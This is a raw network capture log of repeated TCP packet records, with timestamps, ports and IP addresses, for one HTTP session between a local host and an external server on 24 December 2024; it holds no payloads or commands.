Dec 24, 2024 14:02:35.454015017 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.454919100 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.454958916 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.455106974 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.455148935 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.455893040 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.455943108 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.456207037 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.456254959 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.457462072 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.457515955 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.457909107 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.457952976 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.458162069 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.458180904 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.458204985 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.458216906 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.458937883 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.458977938 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.459276915 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.459320068 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.459789038 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.459830046 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.459913015 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.459959030 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.460768938 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.460813999 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.460975885 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.461013079 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.461745977 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.461796999 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.461926937 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.461975098 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.462856054 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.462902069 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.462973118 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.463018894 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.463727951 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.463771105 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.463793993 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.463834047 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.464740992 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.464804888 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.602799892 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.602890015 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.602910995 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.602955103 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.603246927 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.603257895 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.603306055 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.603975058 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.604023933 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.604198933 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.604244947 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.604983091 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.605029106 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.605556965 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.605603933 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.605931997 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.605978012 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.606091976 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.606137991 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.606950998 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.607002974 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.607124090 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.607172012 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.607916117 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.607959986 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.608258009 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.608303070 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.608880997 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.608927965 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.609482050 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.609528065 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.609863997 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.609910965 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.610327005 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.610372066 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.610853910 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.610898972 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.610932112 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.610971928 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.611812115 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.611862898 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.612179041 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.612221956 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.612776041 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.612837076 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.612849951 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.612889051 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.613776922 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.613825083 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.613899946 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.613946915 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.614748001 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.614794970 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.614814043 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.614852905 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.615725040 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.615770102 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.615787029 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.615822077 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.616756916 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.616775036 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.616801977 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.616818905 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.617719889 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.617760897 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.617976904 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.618020058 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.618763924 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.618809938 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.618906975 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.618954897 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.619846106 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.619894028 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.619942904 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.619987965 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.620759964 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.620805979 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.620879889 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.620928049 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.621633053 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.621679068 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.621786118 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.621830940 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.622618914 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.622663975 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.622787952 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.622828960 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.623723030 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.623769999 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.624051094 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.624098063 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.624533892 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.624579906 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.624694109 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.624737978 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.625521898 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.625567913 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.626131058 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.626176119 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.626477957 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.626533031 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.626791954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.626836061 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.627480984 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.627521992 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.627845049 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.627886057 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.628557920 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.628595114 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.629415989 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.629461050 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.629463911 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.629475117 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.629501104 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.629517078 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.630435944 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.630476952 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.630528927 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.630568027 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.631388903 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.631433010 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.631872892 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.631920099 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.632374048 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.632479906 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.632637024 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.632677078 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.633342981 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.633385897 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.634221077 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.634402990 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.634417057 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.634422064 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.634449005 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.634471893 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.635332108 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.635370970 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.635792971 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.635834932 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.636281967 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.636327982 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.636717081 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.636754036 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.637296915 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.637306929 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.637332916 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.637342930 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.638293982 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.638338089 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.638392925 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.638437033 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.639219046 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.639298916 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.639499903 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.639544010 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.640202045 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.640252113 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.640415907 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.640458107 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.641185999 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.641227961 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.641323090 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.641366959 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.642194986 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.642249107 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.642332077 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.642375946 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.643121004 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.643160105 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.643238068 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.643276930 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.644117117 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.644164085 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.644232988 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.644277096 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.645090103 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.645128965 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.645284891 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.645322084 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.646097898 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.646145105 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.646548033 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.646599054 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.647057056 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.647103071 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.647392988 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.647440910 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.648181915 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.648221016 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.648336887 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.648382902 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.649013042 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.649054050 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.649125099 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.649163961 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.650028944 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.650069952 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.650201082 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.650239944 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.651012897 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.651057005 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.652054071 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.652105093 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.652178049 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.652189970 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.652230978 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.652946949 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.652996063 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.653372049 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.653453112 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.654081106 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.654122114 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.795713902 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.795777082 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.795838118 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.795877934 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.796226978 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.796277046 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.796475887 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.796520948 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.796912909 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.796957016 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.797207117 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.797251940 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.797899961 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.797945976 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.798084974 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.798127890 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.799279928 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.799310923 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.799333096 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.799365997 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.799860954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.799906969 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.799927950 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.799968958 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.800954103 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.801001072 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.801191092 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.801238060 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.801842928 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.801888943 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.802031994 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.802076101 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.803054094 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.803101063 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.803296089 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.803334951 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.804138899 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.804187059 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.804440022 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.804482937 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.804946899 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.804992914 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.805332899 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.805377960 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.806036949 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.806082964 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.806440115 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.806494951 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.806840897 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.806902885 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.806934118 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.806982994 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.807688951 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.807737112 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.807862043 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.807908058 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.808763027 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.808810949 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.808867931 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.808907986 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.809720039 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.809732914 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.809768915 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.810661077 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.810708046 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.810803890 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.810849905 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.811604977 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.811649084 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.811813116 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.811856031 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.812635899 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.812684059 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.812702894 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.812741995 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.813555002 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.813601971 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.813757896 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.813796997 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.848346949 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.968668938 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.238535881 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.238595963 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:36.238806009 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:36.238816977 CET	80	49787	185.231.69.191	192.168.2.6
